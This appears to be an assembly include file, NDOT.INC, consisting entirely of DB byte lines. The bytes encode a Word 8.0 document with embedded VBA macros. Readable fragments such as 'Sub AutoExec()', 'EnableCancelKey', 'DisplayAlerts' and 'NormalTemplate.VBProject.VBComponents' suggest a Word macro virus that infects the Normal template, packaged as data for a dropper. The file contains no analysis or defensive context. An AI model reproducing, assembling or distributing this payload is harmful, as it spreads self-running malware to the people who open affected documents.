DB 02CH,001H,000H,002H,017H,003H,009H,004H,004H,001H,004H,044H,004H,0F8H,0FDH
DB 000H,003H,010H,004H,029H,004H,014H,013H,006H,003H,00EH,003H,004H,003H,011H
DB 024H,00FH,0F5H,003H,015H,00FH,004H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,03FH,0F8H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,006H,010H,013H
DB 0CCH,058H,001H,0FFH,0FFH,012H,006H,010H,007H,007H,03BH,0EEH,00BH,00CH,007H
DB 020H,0FFH,0FFH,00FH,008H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,0FDH,0FFH,00BH,010H,0FFH,00FH,001H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH
NDOT.INC
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0F3H
DB 000H,00FH,010H,00EH,010H,0FEH,0FFH,0F3H,02FH,0B3H,04AH,0ABH,016H,0D3H,006H
DB 000H,000H,0E0H,085H,09FH,0F2H,0F9H,04FH,000H,0E8H,068H,010H,0ABH,091H,008H
DB 000H,02BH,027H,0B3H,0D9H,030H,002H,023H,050H,0D2H,019H,0D3H,0B9H,002H,007H
DB 06CH,055H,000H,088H,002H,010H,003H,03AH,090H,002H,008H,0D3H,027H,09CH,002H
DB 008H,004H,002H,004H,0A8H,002H,004H,005H,002H,004H,0B8H,0ABH,05AH,002H,004H
DB 0D3H,0EDH,0C4H,002H,008H,008H,002H,004H,0D4H,002H,004H,009H,002H,004H,0E4H
DB 002H,004H,0B3H,0B4H,0F0H,002H,008H,00AH,04DH,055H,002H,004H,00CH,002H,04DH
DB 0F2H,0F1H,000H,018H,002H,008H,00DH,002H,010H,024H,002H,008H,00EH,002H,008H
DB 030H,002H,008H,00FH,0ADH,0D6H,002H,008H,038H,002H,008H,003H,074H,040H,002H
DB 008H,013H,002H,010H,048H,002H,008H,003H,078H,0E4H,002H,06DH,01EH,002H,010H
DB 002H,00FH,029H,0E0H,002H,006H,073H,000H,00FH,00CH,006H,002H,016H,056H,065H
DB 063H,06EH,061H,000H,066H,009H,01CH,002H,010H,003H,028H,0C1H,00DH,003H,098H
DB 04EH,06FH,072H,06DH,061H,0E2H,037H,003H,010H,009H,02CH,000H,004H,02CH,003H
DB 060H,031H,000H,063H,06EH,003H,000H,003H,01CH,003H,074H,04DH,069H,063H,072H
DB 06FH,073H,06FH,066H,074H,020H,057H,06FH,072H,064H,018H,014H,020H,038H,02EH
DB 012H,00DH,0F2H,027H,000H,000H,08CH,086H,047H,002H,067H,000H,004H,00CH,0B0H
DB 0E8H,03DH,010H,0FFH,0B8H,065H,0BEH,001H,004H,00CH,03CH,06FH,085H,003H,00CH
DB 013H,018H,003H,0A0H,003H,008H,003H,028H,00FH,008H,01EH,08FH,00FH,00FH,0FFH
DB 0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
NDOT.INC
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,03FH,0E0H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FEH,0FFH,000H,000H,004H
DB 000H,0E3H,0EEH,0E3H,09EH,009H,004H,001H,000H,003H,012H,002H,0D5H,0CDH,0D5H
DB 09CH,02EH,01BH,010H,093H,097H,008H,000H,02BH,02CH,0F9H,054H,067H,0AEH,044H
DB 002H,01FH,005H,00EH,014H,02CH,0E2H,0DDH,0E8H,002H,018H,0F3H,0C0H,002H,00BH
DB 000H,068H,002H,00CH,0F3H,0B4H,070H,0B5H,0AAH,002H,008H,005H,002H,004H,07CH
DB 002H,004H,0F3H,05CH,084H,002H,008H,011H,002H,004H,08CH,002H,004H,017H,002H
DB 004H,094H,002H,004H,0DAH,0AAH,00BH,002H,004H,09CH,002H,004H,0F3H,0DCH,0A4H
DB 002H,008H,0F3H,068H,0ACH,002H,008H,016H,002H,004H,0B4H,002H,004H,00DH,002H
DB 004H,076H,0E1H,0BCH,002H,004H,003H,05CH,0C9H,002H,008H,003H,094H,0F7H,0F4H
DB 004H,002H,010H,032H,039H,041H,000H,0F3H,050H,003H,078H,00BH,008H,0C3H,03BH
DB 002H,01BH,004H,018H,0B3H,00DH,008H,000H,003H,064H,003H,010H,00FH,008H,007H
DB 010H,01EH,002H,07DH,003H,040H,003H,004H,000H,00CH,017H,0D8H,002H,00DH,003H
DB 065H,0F3H,0F5H,007H,002H,036H,054H,0EDH,074H,075H,06CH,06FH,004H,04CH,003H
DB 020H,098H,002H,013H,003H,068H,059H,05DH,002H,007H,000H,020H,002H,005H,003H
DB 014H,036H,002H,008H,002H,002H,004H,03EH,002H,004H,003H,010H,003H,00CH,00AH
DB 002H,00CH,05FH,000H,02BH,050H,049H,044H,05FH,047H,055H,049H,044H,014H,05CH
DB 003H,0B6H,041H,002H,016H,04EH,002H,004H,07BH,000H,0FAH,0FDH,030H,00EH,002H
DB 02DH,008H,010H,00FH,00AH,003H,02AH,009H,014H,003H,00EH,00BH,004H,07DH,002H
DB 04EH,003H,003H,01FH,0D5H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH
DB 0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00BH,010H,07DH,0BDH,0E7H,0B4H,003H,0E2H,049H,0F3H
DB 054H,0F3H,0B4H,0F3H,0B0H,0E3H,0FFH,0FEH,002H,029H,009H,002H,018H,0E3H,0D0H
DB 0F3H,030H,0F3H,088H,00DH,002H,010H,0DEH,07AH,00EH,002H,004H,0F3H,0E4H,003H
DB 020H,0F3H,0D4H,012H,002H,010H,0F3H,0BCH,014H,002H,008H,015H,002H,004H,0F3H
DB 0C0H,0F3H,0E4H,003H,020H,019H,055H,05BH,002H,010H,01AH,002H,004H,01BH,002H
DB 004H,01CH,002H,004H,01DH,002H,004H,0F3H,05FH,01FH,002H,008H,003H,020H,0FDH
NDOT.INC
DB 002H,064H,022H,0ADH,0AAH,002H,00CH,028H,002H,004H,003H,010H,025H,002H,008H
DB 026H,002H,004H,027H,002H,004H,029H,002H,004H,031H,002H,004H,02AH,002H,004H
DB 0AAH,0FAH,02BH,002H,004H,02CH,002H,004H,02DH,002H,004H,02EH,002H,004H,02FH
DB 002H,004H,030H,002H,004H,003H,034H,003H,004H,002H,047H,00FH,003H,0FFH,0FFH
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,047H,000H,00FH,010H,00FH,010H,004H,010H,052H,000H,06FH,002H,002H
DB 074H,000H,020H,000H,045H,000H,06EH,000H,074H,010H,000H,000H,072H,000H,079H
DB 012H,056H,020H,050H,072H,06FH,067H,072H,061H,06DH,061H,073H,000H,000H,008H
DB 041H,052H,051H,055H,049H,056H,07EH,031H,000H,028H,000H,013H,08CH,000H,000H
DB 028H,026H,000H,000H,0D1H,023H,010H,000H,04DH,069H,063H,072H,06FH,073H,06FH
DB 066H,016H,000H,005H,001H,047H,024H,004H,049H,002H,005H,023H,044H,006H,009H
DB 002H,002H,040H,000H,000H,0C0H,004H,006H,000H,046H,003H,007H,0A2H,0D8H,000H
DB 080H,008H,000H,02BH,030H,030H,09DH,0C0H,0B1H,0E1H,09BH,0B8H,065H,0BEH,001H
DB 024H,002H,015H,006H,040H,040H,023H,021H,002H,008H,031H,000H,054H,000H,061H
DB 000H,062H,000H,06CH,000H,065H,002H,00EH,026H,000H,080H,04DH,017H,011H,000H
DB 041H,072H,071H,075H,069H,076H,06FH,073H,020H,064H,065H,00FH,088H,081H,001H
DB 00FH,088H,010H,000H,00EH,000H,002H,000H,002H,07BH,008H,003H,000H,04DH,049H
DB 043H,052H,04FH,053H,050H,000H,07EH,032H,000H,01EH,008H,0B0H,0DAH,003H,0B0H
DB 06FH,064H,065H,06CH,06FH,073H,000H,04DH,04FH,008H,020H,044H,045H,008H,002H
DB 06AH,000H,010H,000H,000H,026H,003H,000H,0F0H,057H,002H,0FEH,072H,000H,008H
DB 07EH,064H,000H,044H,002H,008H,063H,000H,075H,000H,06DH,002H,088H,013H,008H
DB 003H,023H,00FH,004H,00FH,010H,003H,010H,01AH,0F8H,047H,000H,002H,001H,033H
DB 034H,007H,081H,003H,014H,00FH,004H,00FH,010H,004H,010H,002H,080H,003H,008H
DB 005H,000H,053H,004H,076H,06DH,0ABH,0EAH,012H,006H,013H,07CH,049H,012H,086H
DB 066H,002H,08CH,072H,002H,08AH,061H,012H,090H,069H,002H,00CH,06EH,003H,029H
DB 00FH,004H,006H,010H,0FEH,0E3H,028H,002H,080H,013H,072H,033H,0BCH,003H,084H
DB 006H,017H,00FH,007H,00CH,010H,004H,07BH,004H,005H,000H,000H,005H,00FH,0FAH
DB 00FH,090H,00FH,090H,0FDH,056H,00EH,090H,038H,002H,080H,003H,078H,007H,004H
DB 00CH,069H,00FH,00DH,006H,010H,018H,003H,008H,006H,080H,04DH,002H,0F8H,063H
DB 022H,076H,06FH,07CH,0F4H,000H,073H,003H,016H,00FH,004H,00FH,010H,00FH,010H
DB 022H,000H,001H,001H,001H,002H,016H,00CH,002H,004H,043H,0A4H,002H,007H,00FH
DB 003H,010H,083H,000H,080H,092H,064H,024H,078H,0A0H,010H,0DAH,004H,008H,00BH
DB 021H,056H,000H,042H,000H,041H,00BH,011H,0C7H,0C7H,00FH,00CH,00FH,010H,00EH
DB 010H,008H,000H,001H,028H,080H,053H,034H,00EH,01FH,004H,00FH,007H,080H,0C0H
DB 047H,0C9H,00FH,080H,022H,0FEH,0E8H,0FFH,068H,000H,069H,002H,0FCH,044H,012H
DB 058H,02FH,080H,004H,03DH,00FH,005H,00EH,010H,023H,080H,053H,0A4H,023H,0D4H
DB 013H,084H,00EH,01FH,00FH,00FH,0FDH,0FFH,008H,010H,096H,053H,0E5H,002H,00EH
DB 013H,03CH,023H,040H,033H,0BCH,023H,044H,023H,0CCH,003H,01BH,003H,0CCH,003H
DB 054H,003H,05CH,06FH,000H,067H,000H,013H,0C3H,0BFH,0EAH,06FH,000H,06BH,000H
DB 013H,0E8H,067H,000H,053H,0A4H,06FH,000H,020H,002H,080H,021H,002H,004H,022H
DB 002H,004H,023H,002H,004H,043H,018H,06BH,000H,05FH,055H,063H,014H,063H,004H
DB 06FH,000H,06BH,000H,043H,094H,032H,002H,03CH,033H,002H,004H,034H,002H,004H
DB 035H,002H,004H,036H,002H,004H,037H,055H,055H,002H,004H,038H,002H,004H,039H
DB 002H,004H,03AH,002H,004H,03BH,002H,004H,03CH,002H,004H,03DH,002H,004H,03EH
DB 002H,004H,03FH,0ADH,05AH,002H,004H,040H,002H,004H,013H,0FCH,042H,002H,008H
DB 043H,002H,004H,044H,002H,004H,045H,002H,004H,043H,0B5H,047H,002H,008H,048H
DB 0ABH,0AAH,002H,004H,003H,0B8H,04AH,002H,008H,04BH,002H,004H,04CH,002H,004H
DB 04DH,002H,004H,04EH,002H,004H,04FH,002H,004H,050H,002H,004H,0EAH,0AAH,051H
DB 002H,004H,052H,002H,004H,053H,002H,004H,003H,02CH,003H,004H,056H,002H,00CH
DB 057H,002H,004H,058H,002H,004H,059H,002H,004H,0F6H,07FH,05AH,002H,004H,003H
DB 018H,05CH,006H,008H,013H,0A8H,00FH,004H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,007H,010H,001H,0E0H,0FCH,016H,001H,000H
DB 001H,0B6H,022H,0C3H,034H,046H,002H,008H,0FFH,0FFH,002H,0A6H,004H,008H,005H
DB 00AH,003H,00EH,00FH,004H,00FH,010H,0BFH,055H,00BH,010H,023H,015H,023H,04DH
DB 023H,049H,023H,045H,008H,069H,001H,023H,04FH,003H,00EH,078H,002H,02FH,0DEH
DB 002H,004H,0F7H,022H,078H,0F5H,00FH,0D8H,022H,080H,003H,014H,002H,00FH,032H
DB 049H,000H,000H,08DH,09AH,08FH,09AH,000H,002H,07EH,023H,00FH,088H,002H,015H
DB 003H,034H,0AFH,01DH,002H,007H,00FH,003H,009H,010H,003H,0A5H,013H,002H,070H
DB 0D6H,002H,013H,003H,004H,0EBH,023H,0C5H,002H,041H,003H,018H,000H,000H,0DFH
DB 0F3H,07FH,002H,00AH,002H,019H,000H,00CH,002H,008H,003H,067H,00FH,004H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,009H,010H,023H,0CCH
NDOT.INC
DB 002H,028H,085H,000H,053H,04CH,003H,012H,000H,002H,0EBH,053H,010H,008H,00AH
DB 094H,005H,00AH,000H,000H,002H,03CH,005H,00AH,004H,054H,0FFH,0FFH,015H,08DH
DB 001H,000H,04EH,000H,030H,000H,07BH,002H,004H,030H,002H,004H,032H,002H,004H
DB 039H,0B1H,01EH,002H,004H,036H,000H,02DH,002H,006H,003H,012H,030H,00CH,00AH
DB 043H,006H,016H,009H,01EH,005H,024H,005H,006H,034H,000H,036H,000H,08CH,000H
DB 07DH,000H,019H,0A2H,0DDH,036H,002H,000H,0DFH,033H,0E1H,013H,086H,001H,001H
DB 080H,012H,01EH,0CCH,03FH,002H,081H,023H,09DH,003H,07BH,0FFH,0FFH,003H,0A7H
DB 013H,080H,002H,017H,004H,003H,005H,016H,015H,04DH,093H,0BBH,033H,0A3H,00CH
DB 011H,07CH,0FAH,01AH,002H,00BH,018H,00FH,00CH,003H,039H,007H,014H,003H,008H
DB 00DH,000H,0A3H,035H,094H,003H,017H,004H,004H,093H,0B7H,003H,018H,003H,004H
DB 0DFH,0FFH,003H,011H,022H,081H,002H,007H,022H,009H,002H,006H,000H,002H,0C5H
DB 003H,080H,003H,01CH,005H,076H,003H,00AH,00FH,032H,003H,014H,00BH,004H,004H
DB 039H,002H,005H,00FH,0FDH,007H,014H,002H,00BH,01FH,0F1H,007H,01BH,0FFH,002H
DB 000H,070H,002H,01FH,04DH,032H,0E8H,005H,013H,002H,00DH,002H,02CH,005H,006H
DB 015H,077H,01FH,0E1H,003H,00CH,00FH,004H,00FH,010H,00FH,010H,007H,010H,0FEH
DB 0CAH,001H,002H,0EEH,022H,081H,008H,000H,013H,064H,004H,016H,002H,00CH,0DFH
DB 0FFH,023H,094H,024H,0CAH,002H,00CH,053H,04DH,033H,024H,000H,002H,00CH,063H
DB 0B5H,053H,005H,003H,00CH,0B3H,015H,003H,0E8H,003H,00CH,043H,0A9H,043H,05DH
DB 003H,00CH,0DDH,0A2H,003H,030H,090H,003H,049H,002H,030H,0B3H,019H,0A0H,006H
DB 00CH,003H,018H,0C8H,003H,00CH,080H,008H,000H,003H,060H,0D8H,002H,00CH,026H
DB 03EH,004H,002H,024H,032H,055H,000H,0E0H,002H,00CH,000H,080H,009H,003H,006H
DB 002H,0DCH,012H,048H,00AH,00CH,003H,0F6H,001H,001H,012H,004H,0F0H,002H,01CH
DB 08FH,004H,004H,070H,000H,0C1H,000H,01CH,002H,013H,014H,0AFH,000H,020H,000H
DB 01EH,060H,028H,002H,028H,000H,020H,002H,002H,01DH,002H,003H,020H,000H,024H
DB 002H,005H,012H,022H,004H,012H,0F7H,000H,080H,080H,020H,000H,026H,002H,0F6H
DB 000H,0A4H,022H,0BFH,020H,000H,028H,002H,021H,000H,02AH,002H,004H,082H,009H
DB 02CH,002H,004H,02EH,002H,08BH,000H,000H,004H,018H,005H,01CH,026H,002H,007H
DB 020H,025H,000H,02CH,002H,000H,000H,001H,000H,021H,000H,030H,002H,025H,000H
DB 032H,002H,002H,000H,0AEH,000H,008H,000H,000H,0A8H,027H,043H,06FH,063H,061H
DB 069H,06EH,065H,005H,000H,094H,0A2H,020H,093H,002H,07EH,067H,032H,0A1H,08CH
DB 040H,053H,000H,007H,060H,0A3H,03BH,00CH,000H,058H,002H,02CH,00EH,000H,063H
DB 03AH,05CH,063H,005H,02EH,02EH,030H,020H,073H,079H,073H,01DH,002H,082H,009H
DB 078H,042H,040H,034H,002H,001H,000H,040H,004H,014H,042H,040H,06BH,00FH,022H
DB 0D8H,092H,0BBH,063H,092H,033H,09BH,002H,052H,013H,056H,06CH,002H,0FCH,063H
DB 083H,003H,0F2H,013H,072H,001H,0A7H,0B1H,000H,000H,000H,041H,074H,074H,072H
DB 069H,062H,075H,074H,000H,065H,020H,056H,042H,05FH,04EH,061H,081H,000H,092H
DB 0EFH,020H,03DH,020H,022H,054H,068H,072H,084H,044H,06FH,063H,075H,06DH,065H
DB 06EH,010H,000H,000H,074H,022H,00DH,00AH,00AH,08CH,042H,061H,073H,001H,002H
DB 08CH,030H,07BH,030H,030H,000H,000H,030H,032H,030H,050H,039H,030H,036H,02DH
DB 000H,010H,030H,003H,008H,043H,007H,000H,000H,000H,014H,002H,012H,001H,024H
DB 030H,030H,034H,036H,07DH,001H,00DH,07CH,043H,072H,065H,000H,000H,061H,074H
DB 061H,062H,082H,06CH,001H,086H,046H,061H,06CH,073H,065H,00CH,05EH,000H,000H
DB 000H,050H,072H,065H,064H,065H,063H,06CH,061H,089H,000H,006H,049H,064H,000H
DB 08BH,054H,000H,000H,072H,075H,00DH,022H,040H,045H,078H,070H,06FH,073H,065H
DB 014H,01CH,054H,000H,065H,000H,000H,06DH,070H,06CH,061H,074H,065H,044H,030H
DB 065H,072H,069H,076H,002H,024H,011H,065H,000H,000H,043H,075H,0C0H,073H,074H
DB 06FH,06DH,069H,07AH,004H,088H,003H,032H,000H,053H,075H,000H,000H,062H,020H
DB 041H,075H,074H,06FH,000H,045H,078H,065H,063H,028H,029H,00DH,00AH,000H,000H
DB 000H,04FH,06EH,020H,045H,072H,072H,06FH,072H,080H,020H,047H,06FH,054H,06FH
DB 020H,065H,000H,000H,000H,005H,001H,080H,055H,070H,070H,06CH,069H,063H,061H
DB 074H,080H,069H,06FH,06EH,000H,000H,02EH,044H,069H,073H,000H,035H,080H,079H
DB 041H,06CH,065H,072H,074H,073H,000H,055H,000H,000H,013H,005H,034H,008H,011H
DB 045H,06EH,081H,030H,043H,061H,06EH,040H,063H,065H,06CH,000H,000H,04BH,065H
DB 079H,000H,012H,077H,086H,064H,000H,01BH,001H,00AH,064H,00DH,00AH,046H,000H
DB 000H,080H,02DH,012H,069H,080H,009H,031H,020H,080H,02FH,04EH,06FH,072H,008H
DB 06DH,061H,000H,000H,06CH,005H,05FH,02EH,056H,042H,050H,040H,072H,06FH,06AH
DB 065H,063H,074H,080H,004H,000H,000H,043H,020H,06FH,06DH,070H,06FH,06EH,080H
DB 0C5H,073H,02EH,000H,043H,06FH,075H,06EH,000H,000H,074H,00DH,00AH,049H,044H
DB 066H,020H,0A2H,017H,028H,069H,029H,000H,019H,064H,000H,000H,004H,065H,04DH
DB 06FH,064H,075H,06CH,065H,02EH,000H,04CH,012H,0C5H,073H,028H,031H,02CH,008H
DB 040H,000H,020H,031H,029H,000H,03BH,022H,012H,0D8H,004H,063H,061H,080H,004H
DB 022H,020H,054H,068H,000H,000H,065H,002H,06EH,089H,039H,04EH,065H,078H,074H
NDOT.INC
DB 020H,069H,014H,00DH,00AH,023H,025H,000H,042H,049H,080H,027H,072H,074H,020H
DB 040H,028H,022H,013H,0D1H,083H,014H,02EH,030H,012H,0CEH,022H,000H,000H,0C0H
DB 050H,00CH,010H,053H,061H,006H,076H,040H,073H,081H,052H,03AH,00DH,00AH,045H
DB 000H,000H,06EH,024H,064H,020H,0C0H,05CH,00DH,00AH,041H,000H,0D0H,0CFH,011H
DB 0E0H,0A1H,0B1H,008H,008H,01AH,0E1H,000H,00EH,001H,03EH,000H,003H,000H,0FEH
DB 0FFH,009H,039H,05DH,000H,0CCH,061H,05EH,081H,00CH,053H,04FH,0FFH,016H,004H
DB 000H,000H,009H,002H,004H,0E4H,004H,047H,049H,003H,017H,005H,000H,002H,000H
DB 000H,0AEH,02CH,001H,02AH,000H,05CH,000H,047H,000H,07BH,042H,05BH,053H,00CH
DB 053H,048H,034H,0C2H,0EEH,046H,05CH,03EH,0F3H,020H,003H,01AH,003H,004H,02DH
